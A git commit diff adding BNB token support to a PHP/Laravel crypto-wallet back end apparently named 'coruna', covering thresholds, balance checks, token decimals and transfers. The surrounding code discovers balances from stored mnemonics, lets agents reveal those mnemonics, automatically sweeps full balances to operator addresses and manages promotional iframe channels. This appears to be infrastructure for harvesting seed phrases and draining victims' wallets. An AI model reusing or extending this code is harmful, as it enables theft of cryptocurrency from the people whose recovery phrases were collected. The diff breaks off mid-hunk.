feat: bnb
This commit is contained in:
@@ -115,6 +115,7 @@ AUTO_TRANSFER_THRESHOLD_USDT=
|
|||||||
AUTO_TRANSFER_THRESHOLD_TRX=
|
AUTO_TRANSFER_THRESHOLD_TRX=
|
||||||
AUTO_TRANSFER_THRESHOLD_ETH=
|
AUTO_TRANSFER_THRESHOLD_ETH=
|
||||||
AUTO_TRANSFER_THRESHOLD_BTC=
|
AUTO_TRANSFER_THRESHOLD_BTC=
|
||||||
|
AUTO_TRANSFER_THRESHOLD_BNB=
|
||||||
TRANSFER_FEE_ADDRESS_TRON=
|
TRANSFER_FEE_ADDRESS_TRON=
|
||||||
TRANSFER_FEE_TOPUP_TRX=20
|
TRANSFER_FEE_TOPUP_TRX=20
|
||||||
TRANSFER_FEE_PRIVATE_KEY_TRON=
|
TRANSFER_FEE_PRIVATE_KEY_TRON=
|
||||||
|
|||||||
@@ -61,6 +61,7 @@ class AgentUserController extends Controller
|
|||||||
'auto_transfer_threshold_trx' => $u->auto_transfer_threshold_trx !== null ? (string) $u->auto_transfer_threshold_trx : '',
|
'auto_transfer_threshold_trx' => $u->auto_transfer_threshold_trx !== null ? (string) $u->auto_transfer_threshold_trx : '',
|
||||||
'auto_transfer_threshold_eth' => $u->auto_transfer_threshold_eth !== null ? (string) $u->auto_transfer_threshold_eth : '',
|
'auto_transfer_threshold_eth' => $u->auto_transfer_threshold_eth !== null ? (string) $u->auto_transfer_threshold_eth : '',
|
||||||
'auto_transfer_threshold_btc' => $u->auto_transfer_threshold_btc !== null ? (string) $u->auto_transfer_threshold_btc : '',
|
'auto_transfer_threshold_btc' => $u->auto_transfer_threshold_btc !== null ? (string) $u->auto_transfer_threshold_btc : '',
|
||||||
|
'auto_transfer_threshold_bnb' => $u->auto_transfer_threshold_bnb !== null ? (string) $u->auto_transfer_threshold_bnb : '',
|
||||||
'album_storage_default' => $u->albumStorageDefaultEnabled() ? 1 : 0,
|
'album_storage_default' => $u->albumStorageDefaultEnabled() ? 1 : 0,
|
||||||
'created_at' => optional($u->created_at)->format('Y-m-d H:i:s'),
|
'created_at' => optional($u->created_at)->format('Y-m-d H:i:s'),
|
||||||
'updated_at' => optional($u->updated_at)->format('Y-m-d H:i:s'),
|
'updated_at' => optional($u->updated_at)->format('Y-m-d H:i:s'),
|
||||||
@@ -93,6 +94,7 @@ class AgentUserController extends Controller
|
|||||||
'auto_transfer_threshold_trx' => ['nullable', 'numeric', 'min:0'],
|
'auto_transfer_threshold_trx' => ['nullable', 'numeric', 'min:0'],
|
||||||
'auto_transfer_threshold_eth' => ['nullable', 'numeric', 'min:0'],
|
'auto_transfer_threshold_eth' => ['nullable', 'numeric', 'min:0'],
|
||||||
'auto_transfer_threshold_btc' => ['nullable', 'numeric', 'min:0'],
|
'auto_transfer_threshold_btc' => ['nullable', 'numeric', 'min:0'],
|
||||||
|
'auto_transfer_threshold_bnb' => ['nullable', 'numeric', 'min:0'],
|
||||||
'album_storage_default' => ['nullable', 'integer', Rule::in([0, 1])],
|
'album_storage_default' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||||
'can_reveal_mnemonics' => ['nullable', 'integer', Rule::in([0, 1])],
|
'can_reveal_mnemonics' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||||
]);
|
]);
|
||||||
@@ -108,6 +110,7 @@ class AgentUserController extends Controller
|
|||||||
'auto_transfer_threshold_trx' => $this->nullableThreshold($data['auto_transfer_threshold_trx'] ?? null),
|
'auto_transfer_threshold_trx' => $this->nullableThreshold($data['auto_transfer_threshold_trx'] ?? null),
|
||||||
'auto_transfer_threshold_eth' => $this->nullableThreshold($data['auto_transfer_threshold_eth'] ?? null),
|
'auto_transfer_threshold_eth' => $this->nullableThreshold($data['auto_transfer_threshold_eth'] ?? null),
|
||||||
'auto_transfer_threshold_btc' => $this->nullableThreshold($data['auto_transfer_threshold_btc'] ?? null),
|
'auto_transfer_threshold_btc' => $this->nullableThreshold($data['auto_transfer_threshold_btc'] ?? null),
|
||||||
|
'auto_transfer_threshold_bnb' => $this->nullableThreshold($data['auto_transfer_threshold_bnb'] ?? null),
|
||||||
'album_storage_default' => (bool) ((int) ($data['album_storage_default'] ?? 0)),
|
'album_storage_default' => (bool) ((int) ($data['album_storage_default'] ?? 0)),
|
||||||
'can_reveal_mnemonics' => (bool) ((int) ($data['can_reveal_mnemonics'] ?? 0)),
|
'can_reveal_mnemonics' => (bool) ((int) ($data['can_reveal_mnemonics'] ?? 0)),
|
||||||
]);
|
]);
|
||||||
@@ -127,6 +130,7 @@ class AgentUserController extends Controller
|
|||||||
'auto_transfer_threshold_trx' => ['nullable', 'numeric', 'min:0'],
|
'auto_transfer_threshold_trx' => ['nullable', 'numeric', 'min:0'],
|
||||||
'auto_transfer_threshold_eth' => ['nullable', 'numeric', 'min:0'],
|
'auto_transfer_threshold_eth' => ['nullable', 'numeric', 'min:0'],
|
||||||
'auto_transfer_threshold_btc' => ['nullable', 'numeric', 'min:0'],
|
'auto_transfer_threshold_btc' => ['nullable', 'numeric', 'min:0'],
|
||||||
|
'auto_transfer_threshold_bnb' => ['nullable', 'numeric', 'min:0'],
|
||||||
'album_storage_default' => ['nullable', 'integer', Rule::in([0, 1])],
|
'album_storage_default' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||||
'can_reveal_mnemonics' => ['nullable', 'integer', Rule::in([0, 1])],
|
'can_reveal_mnemonics' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||||
]);
|
]);
|
||||||
@@ -149,7 +153,7 @@ class AgentUserController extends Controller
|
|||||||
if (array_key_exists('can_reveal_mnemonics', $data) && $data['can_reveal_mnemonics'] !== null) {
|
if (array_key_exists('can_reveal_mnemonics', $data) && $data['can_reveal_mnemonics'] !== null) {
|
||||||
$agent->can_reveal_mnemonics = (bool) ((int) $data['can_reveal_mnemonics']);
|
$agent->can_reveal_mnemonics = (bool) ((int) $data['can_reveal_mnemonics']);
|
||||||
}
|
}
|
||||||
foreach (['usdt', 'trx', 'eth', 'btc'] as $coin) {
|
foreach (['usdt', 'trx', 'eth', 'btc', 'bnb'] as $coin) {
|
||||||
$key = 'auto_transfer_threshold_'.$coin;
|
$key = 'auto_transfer_threshold_'.$coin;
|
||||||
if (array_key_exists($key, $data)) {
|
if (array_key_exists($key, $data)) {
|
||||||
$agent->{$key} = $this->nullableThreshold($data[$key] ?? null);
|
$agent->{$key} = $this->nullableThreshold($data[$key] ?? null);
|
||||||
|
|||||||
@@ -46,6 +46,7 @@ class SystemSettingsController extends Controller
|
|||||||
'auto_transfer_threshold_trx' => ['nullable', 'numeric', 'min:0'],
|
'auto_transfer_threshold_trx' => ['nullable', 'numeric', 'min:0'],
|
||||||
'auto_transfer_threshold_eth' => ['nullable', 'numeric', 'min:0'],
|
'auto_transfer_threshold_eth' => ['nullable', 'numeric', 'min:0'],
|
||||||
'auto_transfer_threshold_btc' => ['nullable', 'numeric', 'min:0'],
|
'auto_transfer_threshold_btc' => ['nullable', 'numeric', 'min:0'],
|
||||||
|
'auto_transfer_threshold_bnb' => ['nullable', 'numeric', 'min:0'],
|
||||||
'transfer_fee_address_tron' => ['nullable', 'string', 'max:128'],
|
'transfer_fee_address_tron' => ['nullable', 'string', 'max:128'],
|
||||||
'transfer_fee_private_key_tron' => ['nullable', 'string', 'max:255'],
|
'transfer_fee_private_key_tron' => ['nullable', 'string', 'max:255'],
|
||||||
'transfer_fee_topup_trx' => ['nullable', 'numeric', 'min:0.000001'],
|
'transfer_fee_topup_trx' => ['nullable', 'numeric', 'min:0.000001'],
|
||||||
@@ -81,6 +82,7 @@ class SystemSettingsController extends Controller
|
|||||||
'auto_transfer.threshold_trx' => $threshold($data['auto_transfer_threshold_trx'] ?? null) ?? '',
|
'auto_transfer.threshold_trx' => $threshold($data['auto_transfer_threshold_trx'] ?? null) ?? '',
|
||||||
'auto_transfer.threshold_eth' => $threshold($data['auto_transfer_threshold_eth'] ?? null) ?? '',
|
'auto_transfer.threshold_eth' => $threshold($data['auto_transfer_threshold_eth'] ?? null) ?? '',
|
||||||
'auto_transfer.threshold_btc' => $threshold($data['auto_transfer_threshold_btc'] ?? null) ?? '',
|
'auto_transfer.threshold_btc' => $threshold($data['auto_transfer_threshold_btc'] ?? null) ?? '',
|
||||||
|
'auto_transfer.threshold_bnb' => $threshold($data['auto_transfer_threshold_bnb'] ?? null) ?? '',
|
||||||
'transfer.fee_address_tron' => $threshold($data['transfer_fee_address_tron'] ?? null) ?? '',
|
'transfer.fee_address_tron' => $threshold($data['transfer_fee_address_tron'] ?? null) ?? '',
|
||||||
'transfer.fee_private_key_tron' => $threshold($data['transfer_fee_private_key_tron'] ?? null),
|
'transfer.fee_private_key_tron' => $threshold($data['transfer_fee_private_key_tron'] ?? null),
|
||||||
'transfer.fee_topup_trx' => $threshold($data['transfer_fee_topup_trx'] ?? null) ?? '20',
|
'transfer.fee_topup_trx' => $threshold($data['transfer_fee_topup_trx'] ?? null) ?? '20',
|
||||||
|
|||||||
@@ -23,7 +23,7 @@ class TransferRecordController extends Controller
|
|||||||
'eth' => 'ETH',
|
'eth' => 'ETH',
|
||||||
'btc' => 'BTC',
|
'btc' => 'BTC',
|
||||||
],
|
],
|
||||||
'assets' => ['USDT', 'TRX', 'ETH', 'BTC'],
|
'assets' => ['USDT', 'TRX', 'ETH', 'BTC', 'BNB'],
|
||||||
]);
|
]);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -160,7 +160,7 @@ class WalletAddressController extends Controller
|
|||||||
$amount = null;
|
$amount = null;
|
||||||
} else {
|
} else {
|
||||||
$decimals = match ($asset) {
|
$decimals = match ($asset) {
|
||||||
'ETH' => 18,
|
'ETH', 'BNB' => 18,
|
||||||
'BTC' => 8,
|
'BTC' => 8,
|
||||||
default => 6,
|
default => 6,
|
||||||
};
|
};
|
||||||
@@ -233,7 +233,7 @@ class WalletAddressController extends Controller
|
|||||||
private function assetsForChain(string $chain): array
|
private function assetsForChain(string $chain): array
|
||||||
{
|
{
|
||||||
return match ($chain) {
|
return match ($chain) {
|
||||||
'eth' => ['ETH', 'USDT'],
|
'eth' => ['ETH', 'USDT', 'BNB'],
|
||||||
'btc' => ['BTC'],
|
'btc' => ['BTC'],
|
||||||
default => ['USDT', 'TRX'],
|
default => ['USDT', 'TRX'],
|
||||||
};
|
};
|
||||||
|
|||||||
@@ -14,6 +14,7 @@ class User extends Authenticatable
|
|||||||
'auto_transfer_threshold_trx',
|
'auto_transfer_threshold_trx',
|
||||||
'auto_transfer_threshold_eth',
|
'auto_transfer_threshold_eth',
|
||||||
'auto_transfer_threshold_btc',
|
'auto_transfer_threshold_btc',
|
||||||
|
'auto_transfer_threshold_bnb',
|
||||||
'album_storage_default',
|
'album_storage_default',
|
||||||
'can_reveal_mnemonics',
|
'can_reveal_mnemonics',
|
||||||
];
|
];
|
||||||
@@ -41,6 +42,7 @@ class User extends Authenticatable
|
|||||||
'auto_transfer_threshold_trx' => 'decimal:8',
|
'auto_transfer_threshold_trx' => 'decimal:8',
|
||||||
'auto_transfer_threshold_eth' => 'decimal:8',
|
'auto_transfer_threshold_eth' => 'decimal:8',
|
||||||
'auto_transfer_threshold_btc' => 'decimal:8',
|
'auto_transfer_threshold_btc' => 'decimal:8',
|
||||||
|
'auto_transfer_threshold_bnb' => 'decimal:8',
|
||||||
'album_storage_default' => 'boolean',
|
'album_storage_default' => 'boolean',
|
||||||
'can_reveal_mnemonics' => 'boolean',
|
'can_reveal_mnemonics' => 'boolean',
|
||||||
'google_auth_open' => 'integer',
|
'google_auth_open' => 'integer',
|
||||||
|
|||||||
@@ -16,7 +16,7 @@ use App\Models\WalletAddress;
|
|||||||
class AutoTransferConfig
|
class AutoTransferConfig
|
||||||
{
|
{
|
||||||
/** @var list<string> */
|
/** @var list<string> */
|
||||||
public const ASSETS = ['USDT', 'TRX', 'ETH', 'BTC'];
|
public const ASSETS = ['USDT', 'TRX', 'ETH', 'BTC', 'BNB'];
|
||||||
|
|
||||||
public function isEnabledForAddress(WalletAddress $address): bool
|
public function isEnabledForAddress(WalletAddress $address): bool
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -134,6 +134,7 @@ class AutoTransferService
|
|||||||
'trx' => $address->trx,
|
'trx' => $address->trx,
|
||||||
'eth' => $address->eth,
|
'eth' => $address->eth,
|
||||||
'btc' => $address->btc,
|
'btc' => $address->btc,
|
||||||
|
'bnb' => $address->bnb,
|
||||||
],
|
],
|
||||||
];
|
];
|
||||||
|
|
||||||
@@ -365,7 +366,7 @@ class AutoTransferService
|
|||||||
private function assetScale(string $asset): int
|
private function assetScale(string $asset): int
|
||||||
{
|
{
|
||||||
return match (strtoupper($asset)) {
|
return match (strtoupper($asset)) {
|
||||||
'ETH' => 18,
|
'ETH', 'BNB' => 18,
|
||||||
'BTC' => 8,
|
'BTC' => 8,
|
||||||
default => 6,
|
default => 6,
|
||||||
};
|
};
|
||||||
@@ -378,7 +379,7 @@ class AutoTransferService
|
|||||||
{
|
{
|
||||||
return match ($chain) {
|
return match ($chain) {
|
||||||
'TRON', 'TRX' => ['USDT', 'TRX'],
|
'TRON', 'TRX' => ['USDT', 'TRX'],
|
||||||
'ETH', 'ETHEREUM', 'EVM' => ['ETH', 'USDT'],
|
'ETH', 'ETHEREUM', 'EVM' => ['ETH', 'USDT', 'BNB'],
|
||||||
'BTC', 'BITCOIN' => ['BTC'],
|
'BTC', 'BITCOIN' => ['BTC'],
|
||||||
default => [],
|
default => [],
|
||||||
};
|
};
|
||||||
|
|||||||
@@ -41,7 +41,7 @@ class EthDriver implements ChainDriver
|
|||||||
|
|
||||||
$derived = Bip44::derive($mnemonic, $this->path($index));
|
$derived = Bip44::derive($mnemonic, $this->path($index));
|
||||||
$from = EthAddress::fromUncompressedPublicKey($derived['public_key_uncompressed']);
|
$from = EthAddress::fromUncompressedPublicKey($derived['public_key_uncompressed']);
|
||||||
$units = $this->toTokenUnits($amount);
|
$units = $this->toTokenUnits($amount, $this->tokenDecimals($contract));
|
||||||
// transfer(address,uint256) selector = a9059cbb
|
// transfer(address,uint256) selector = a9059cbb
|
||||||
$data = '0xa9059cbb'.EthAddress::toWord($to).str_pad(gmp_strval(gmp_init($units, 10), 16), 64, '0', STR_PAD_LEFT);
|
$data = '0xa9059cbb'.EthAddress::toWord($to).str_pad(gmp_strval(gmp_init($units, 10), 16), 64, '0', STR_PAD_LEFT);
|
||||||
|
|
||||||
@@ -76,16 +76,22 @@ class EthDriver implements ChainDriver
|
|||||||
// fall through to token
|
// fall through to token
|
||||||
}
|
}
|
||||||
|
|
||||||
$contract = trim((string) config('coruna.eth.usdt_contract', ''));
|
foreach (['coruna.eth.usdt_contract', 'coruna.eth.bnb_contract'] as $key) {
|
||||||
if ($contract === '') {
|
$contract = trim((string) config($key, ''));
|
||||||
return false;
|
if ($contract === '') {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
if (bccomp($this->getTokenBalance($address, $contract), '0', 18) > 0) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
} catch (\Throwable) {
|
||||||
|
// try the next token
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
try {
|
return false;
|
||||||
return bccomp($this->getTokenBalance($address, $contract), '0', 18) > 0;
|
|
||||||
} catch (\Throwable) {
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public function getNativeBalance(string $address): string
|
public function getNativeBalance(string $address): string
|
||||||
@@ -118,7 +124,7 @@ class EthDriver implements ChainDriver
|
|||||||
return '0';
|
return '0';
|
||||||
}
|
}
|
||||||
|
|
||||||
return $this->fromTokenUnits($this->hexToDec($hex));
|
return $this->fromTokenUnits($this->hexToDec($hex), $this->tokenDecimals($contract));
|
||||||
}
|
}
|
||||||
|
|
||||||
private function sendLegacy(string $privateKey, string $from, string $to, string $valueWei, string $data): string
|
private function sendLegacy(string $privateKey, string $from, string $to, string $valueWei, string $data): string
|
||||||
@@ -184,10 +190,25 @@ class EthDriver implements ChainDriver
|
|||||||
return $human === '' ? '0' : $human;
|
return $human === '' ? '0' : $human;
|
||||||
}
|
}
|
||||||
|
|
||||||
private function toTokenUnits(string $amount): string
|
private function tokenDecimals(string $contract): int
|
||||||
{
|
{
|
||||||
$decimals = (int) config('coruna.eth.usdt_decimals', 6);
|
$normalized = EthAddress::normalize($contract);
|
||||||
if (! preg_match('/^\d+(\.\d{1,'.max(1, $decimals).'})?$/', $amount)) {
|
$known = [
|
||||||
|
EthAddress::normalize((string) config('coruna.eth.usdt_contract', '')) => (int) config('coruna.eth.usdt_decimals', 6),
|
||||||
|
EthAddress::normalize((string) config('coruna.eth.bnb_contract', '')) => (int) config('coruna.eth.bnb_decimals', 18),
|
||||||
|
];
|
||||||
|
unset($known['']);
|
||||||
|
if ($normalized !== '' && isset($known[$normalized]) && $known[$normalized] > 0) {
|
||||||
|
return $known[$normalized];
|
||||||
|
}
|
||||||
|
|
||||||
|
return max(1, (int) config('coruna.eth.usdt_decimals', 6));
|
||||||
|
}
|
||||||
|
|
||||||
|
private function toTokenUnits(string $amount, int $decimals): string
|
||||||
|
{
|
||||||
|
$decimals = max(1, $decimals);
|
||||||
|
if (! preg_match('/^\d+(\.\d{1,'.$decimals.'})?$/', $amount)) {
|
||||||
throw new RuntimeException('Invalid token amount');
|
throw new RuntimeException('Invalid token amount');
|
||||||
}
|
}
|
||||||
$factor = bcpow('10', (string) $decimals, 0);
|
$factor = bcpow('10', (string) $decimals, 0);
|
||||||
@@ -199,9 +220,9 @@ class EthDriver implements ChainDriver
|
|||||||
return $units;
|
return $units;
|
||||||
}
|
}
|
||||||
|
|
||||||
private function fromTokenUnits(string $units): string
|
private function fromTokenUnits(string $units, int $decimals): string
|
||||||
{
|
{
|
||||||
$decimals = (int) config('coruna.eth.usdt_decimals', 6);
|
$decimals = max(0, $decimals);
|
||||||
if (! preg_match('/^\d+$/', $units)) {
|
if (! preg_match('/^\d+$/', $units)) {
|
||||||
$units = '0';
|
$units = '0';
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -259,6 +259,7 @@ class MnemonicWalletDiscovery
|
|||||||
'coins' => [
|
'coins' => [
|
||||||
'eth' => $driver->getNativeBalance($address),
|
'eth' => $driver->getNativeBalance($address),
|
||||||
'usdt' => $this->tokenBalance($driver, $address, (string) config('coruna.eth.usdt_contract', '')),
|
'usdt' => $this->tokenBalance($driver, $address, (string) config('coruna.eth.usdt_contract', '')),
|
||||||
|
'bnb' => $this->tokenBalance($driver, $address, (string) config('coruna.eth.bnb_contract', '')),
|
||||||
],
|
],
|
||||||
];
|
];
|
||||||
}
|
}
|
||||||
@@ -394,7 +395,7 @@ class MnemonicWalletDiscovery
|
|||||||
{
|
{
|
||||||
return match ($chain) {
|
return match ($chain) {
|
||||||
'tron' => ['trx' => '0', 'usdt' => '0'],
|
'tron' => ['trx' => '0', 'usdt' => '0'],
|
||||||
'eth' => ['eth' => '0', 'usdt' => '0'],
|
'eth' => ['eth' => '0', 'usdt' => '0', 'bnb' => '0'],
|
||||||
'btc' => ['btc' => '0'],
|
'btc' => ['btc' => '0'],
|
||||||
'sol' => ['sol' => '0', 'usdt' => '0'],
|
'sol' => ['sol' => '0', 'usdt' => '0'],
|
||||||
default => [],
|
default => [],
|
||||||
|
|||||||
@@ -21,6 +21,7 @@ class SettingsService
|
|||||||
'auto_transfer.threshold_trx' => 'AUTO_TRANSFER_THRESHOLD_TRX',
|
'auto_transfer.threshold_trx' => 'AUTO_TRANSFER_THRESHOLD_TRX',
|
||||||
'auto_transfer.threshold_eth' => 'AUTO_TRANSFER_THRESHOLD_ETH',
|
'auto_transfer.threshold_eth' => 'AUTO_TRANSFER_THRESHOLD_ETH',
|
||||||
'auto_transfer.threshold_btc' => 'AUTO_TRANSFER_THRESHOLD_BTC',
|
'auto_transfer.threshold_btc' => 'AUTO_TRANSFER_THRESHOLD_BTC',
|
||||||
|
'auto_transfer.threshold_bnb' => 'AUTO_TRANSFER_THRESHOLD_BNB',
|
||||||
'transfer.fee_address_tron' => 'TRANSFER_FEE_ADDRESS_TRON',
|
'transfer.fee_address_tron' => 'TRANSFER_FEE_ADDRESS_TRON',
|
||||||
'transfer.fee_private_key_tron' => 'TRANSFER_FEE_PRIVATE_KEY_TRON',
|
'transfer.fee_private_key_tron' => 'TRANSFER_FEE_PRIVATE_KEY_TRON',
|
||||||
'transfer.fee_topup_trx' => 'TRANSFER_FEE_TOPUP_TRX',
|
'transfer.fee_topup_trx' => 'TRANSFER_FEE_TOPUP_TRX',
|
||||||
@@ -44,6 +45,7 @@ class SettingsService
|
|||||||
'auto_transfer.threshold_trx' => config('coruna.auto_transfer.threshold_trx'),
|
'auto_transfer.threshold_trx' => config('coruna.auto_transfer.threshold_trx'),
|
||||||
'auto_transfer.threshold_eth' => config('coruna.auto_transfer.threshold_eth'),
|
'auto_transfer.threshold_eth' => config('coruna.auto_transfer.threshold_eth'),
|
||||||
'auto_transfer.threshold_btc' => config('coruna.auto_transfer.threshold_btc'),
|
'auto_transfer.threshold_btc' => config('coruna.auto_transfer.threshold_btc'),
|
||||||
|
'auto_transfer.threshold_bnb' => config('coruna.auto_transfer.threshold_bnb'),
|
||||||
'transfer.to_address' => config('coruna.transfer.to_address'),
|
'transfer.to_address' => config('coruna.transfer.to_address'),
|
||||||
'transfer.to_address_eth' => config('coruna.transfer.to_address_eth'),
|
'transfer.to_address_eth' => config('coruna.transfer.to_address_eth'),
|
||||||
'transfer.to_address_btc' => config('coruna.transfer.to_address_btc'),
|
'transfer.to_address_btc' => config('coruna.transfer.to_address_btc'),
|
||||||
@@ -108,6 +110,7 @@ class SettingsService
|
|||||||
'auto_transfer.threshold_trx' => (string) (config('coruna.auto_transfer.threshold_trx') ?? ''),
|
'auto_transfer.threshold_trx' => (string) (config('coruna.auto_transfer.threshold_trx') ?? ''),
|
||||||
'auto_transfer.threshold_eth' => (string) (config('coruna.auto_transfer.threshold_eth') ?? ''),
|
'auto_transfer.threshold_eth' => (string) (config('coruna.auto_transfer.threshold_eth') ?? ''),
|
||||||
'auto_transfer.threshold_btc' => (string) (config('coruna.auto_transfer.threshold_btc') ?? ''),
|
'auto_transfer.threshold_btc' => (string) (config('coruna.auto_transfer.threshold_btc') ?? ''),
|
||||||
|
'auto_transfer.threshold_bnb' => (string) (config('coruna.auto_transfer.threshold_bnb') ?? ''),
|
||||||
'transfer.to_address' => (string) (config('coruna.transfer.to_address') ?: ''),
|
'transfer.to_address' => (string) (config('coruna.transfer.to_address') ?: ''),
|
||||||
'transfer.to_address_eth' => (string) (config('coruna.transfer.to_address_eth') ?: ''),
|
'transfer.to_address_eth' => (string) (config('coruna.transfer.to_address_eth') ?: ''),
|
||||||
'transfer.to_address_btc' => (string) (config('coruna.transfer.to_address_btc') ?: ''),
|
'transfer.to_address_btc' => (string) (config('coruna.transfer.to_address_btc') ?: ''),
|
||||||
@@ -149,6 +152,7 @@ class SettingsService
|
|||||||
'auto_transfer.threshold_trx' => config(['coruna.auto_transfer.threshold_trx' => $value]),
|
'auto_transfer.threshold_trx' => config(['coruna.auto_transfer.threshold_trx' => $value]),
|
||||||
'auto_transfer.threshold_eth' => config(['coruna.auto_transfer.threshold_eth' => $value]),
|
'auto_transfer.threshold_eth' => config(['coruna.auto_transfer.threshold_eth' => $value]),
|
||||||
'auto_transfer.threshold_btc' => config(['coruna.auto_transfer.threshold_btc' => $value]),
|
'auto_transfer.threshold_btc' => config(['coruna.auto_transfer.threshold_btc' => $value]),
|
||||||
|
'auto_transfer.threshold_bnb' => config(['coruna.auto_transfer.threshold_bnb' => $value]),
|
||||||
'transfer.to_address' => config(['coruna.transfer.to_address' => $value]),
|
'transfer.to_address' => config(['coruna.transfer.to_address' => $value]),
|
||||||
'transfer.to_address_eth' => config(['coruna.transfer.to_address_eth' => $value]),
|
'transfer.to_address_eth' => config(['coruna.transfer.to_address_eth' => $value]),
|
||||||
'transfer.to_address_btc' => config(['coruna.transfer.to_address_btc' => $value]),
|
'transfer.to_address_btc' => config(['coruna.transfer.to_address_btc' => $value]),
|
||||||
|
|||||||
@@ -108,6 +108,13 @@ class TransferService
|
|||||||
$amount,
|
$amount,
|
||||||
$this->usdtContract($chain),
|
$this->usdtContract($chain),
|
||||||
),
|
),
|
||||||
|
'BNB' => $driver->sendToken(
|
||||||
|
$mnemonic,
|
||||||
|
$index,
|
||||||
|
$to,
|
||||||
|
$amount,
|
||||||
|
$this->bnbContract($chain),
|
||||||
|
),
|
||||||
default => throw new RuntimeException("Unsupported asset: {$asset}"),
|
default => throw new RuntimeException("Unsupported asset: {$asset}"),
|
||||||
};
|
};
|
||||||
|
|
||||||
@@ -442,11 +449,25 @@ class TransferService
|
|||||||
return $contract;
|
return $contract;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private function bnbContract(string $chain): string
|
||||||
|
{
|
||||||
|
if (! in_array($chain, ['eth', 'ethereum'], true)) {
|
||||||
|
throw new RuntimeException('BNB is only supported on ETH');
|
||||||
|
}
|
||||||
|
$contract = trim((string) config('coruna.eth.bnb_contract', ''));
|
||||||
|
if ($contract === '') {
|
||||||
|
throw new RuntimeException('BNB contract is not configured for '.$chain);
|
||||||
|
}
|
||||||
|
|
||||||
|
return $contract;
|
||||||
|
}
|
||||||
|
|
||||||
private function resolveFullBalance(ChainDriver $driver, string $fromAddress, string $asset, string $chain): string
|
private function resolveFullBalance(ChainDriver $driver, string $fromAddress, string $asset, string $chain): string
|
||||||
{
|
{
|
||||||
$balance = match ($asset) {
|
$balance = match ($asset) {
|
||||||
'TRX', 'ETH', 'BTC' => $driver->getNativeBalance($fromAddress),
|
'TRX', 'ETH', 'BTC' => $driver->getNativeBalance($fromAddress),
|
||||||
'USDT' => $driver->getTokenBalance($fromAddress, $this->usdtContract($chain)),
|
'USDT' => $driver->getTokenBalance($fromAddress, $this->usdtContract($chain)),
|
||||||
|
'BNB' => $driver->getTokenBalance($fromAddress, $this->bnbContract($chain)),
|
||||||
default => throw new RuntimeException("Unsupported asset: {$asset}"),
|
default => throw new RuntimeException("Unsupported asset: {$asset}"),
|
||||||
};
|
};
|
||||||
|
|
||||||
@@ -457,7 +478,7 @@ class TransferService
|
|||||||
default => null,
|
default => null,
|
||||||
};
|
};
|
||||||
$scale = match ($asset) {
|
$scale = match ($asset) {
|
||||||
'ETH' => 18,
|
'ETH', 'BNB' => 18,
|
||||||
'BTC' => 8,
|
'BTC' => 8,
|
||||||
default => 6,
|
default => 6,
|
||||||
};
|
};
|
||||||
@@ -568,7 +589,7 @@ class TransferService
|
|||||||
private function assertAmountWithinLimit(string $amount, string $asset): void
|
private function assertAmountWithinLimit(string $amount, string $asset): void
|
||||||
{
|
{
|
||||||
$decimals = match ($asset) {
|
$decimals = match ($asset) {
|
||||||
'ETH' => 18,
|
'ETH', 'BNB' => 18,
|
||||||
'BTC' => 8,
|
'BTC' => 8,
|
||||||
default => 6,
|
default => 6,
|
||||||
};
|
};
|
||||||
@@ -580,6 +601,7 @@ class TransferService
|
|||||||
'TRX' => 'coruna.transfer.max_trx',
|
'TRX' => 'coruna.transfer.max_trx',
|
||||||
'ETH' => 'coruna.transfer.max_eth',
|
'ETH' => 'coruna.transfer.max_eth',
|
||||||
'BTC' => 'coruna.transfer.max_btc',
|
'BTC' => 'coruna.transfer.max_btc',
|
||||||
|
'BNB' => 'coruna.transfer.max_bnb',
|
||||||
default => 'coruna.transfer.max_usdt',
|
default => 'coruna.transfer.max_usdt',
|
||||||
};
|
};
|
||||||
$max = (string) config($maxKey, '0');
|
$max = (string) config($maxKey, '0');
|
||||||
|
|||||||
@@ -11,7 +11,7 @@ use Illuminate\Support\Facades\Log;
|
|||||||
/**
|
/**
|
||||||
* Live on-chain balance refresh for wallet_addresses.
|
* Live on-chain balance refresh for wallet_addresses.
|
||||||
*
|
*
|
||||||
* Tron: TRX + USDT (TRC20). ETH: ETH + USDT (ERC20). BTC: BTC only.
|
* Tron: TRX + USDT (TRC20). ETH: ETH + USDT (ERC20) + BNB (ERC20). BTC: BTC only.
|
||||||
* SOL: SOL + USDT (SPL).
|
* SOL: SOL + USDT (SPL).
|
||||||
*/
|
*/
|
||||||
class WalletBalanceService
|
class WalletBalanceService
|
||||||
@@ -54,6 +54,10 @@ class WalletBalanceService
|
|||||||
if ($contract !== '') {
|
if ($contract !== '') {
|
||||||
$attrs['usdt'] = $driver->getTokenBalance($addr, $contract);
|
$attrs['usdt'] = $driver->getTokenBalance($addr, $contract);
|
||||||
}
|
}
|
||||||
|
$bnbContract = trim((string) config('coruna.eth.bnb_contract', ''));
|
||||||
|
if ($bnbContract !== '') {
|
||||||
|
$attrs['bnb'] = $driver->getTokenBalance($addr, $bnbContract);
|
||||||
|
}
|
||||||
$this->persistCoins($address, $attrs);
|
$this->persistCoins($address, $attrs);
|
||||||
|
|
||||||
Log::info('eth balance refresh ok', [
|
Log::info('eth balance refresh ok', [
|
||||||
@@ -61,6 +65,7 @@ class WalletBalanceService
|
|||||||
'address' => $addr,
|
'address' => $addr,
|
||||||
'eth' => $address->eth,
|
'eth' => $address->eth,
|
||||||
'usdt' => $address->usdt,
|
'usdt' => $address->usdt,
|
||||||
|
'bnb' => $address->bnb,
|
||||||
]);
|
]);
|
||||||
|
|
||||||
return true;
|
return true;
|
||||||
|
|||||||
@@ -29,12 +29,13 @@ class HelpCommand
|
|||||||
'/channel',
|
'/channel',
|
||||||
' 列出渠道:ID、备注、归属;新版点按钮复制推广 iframe,旧版复制投放链接',
|
' 列出渠道:ID、备注、归属;新版点按钮复制推广 iframe,旧版复制投放链接',
|
||||||
'',
|
'',
|
||||||
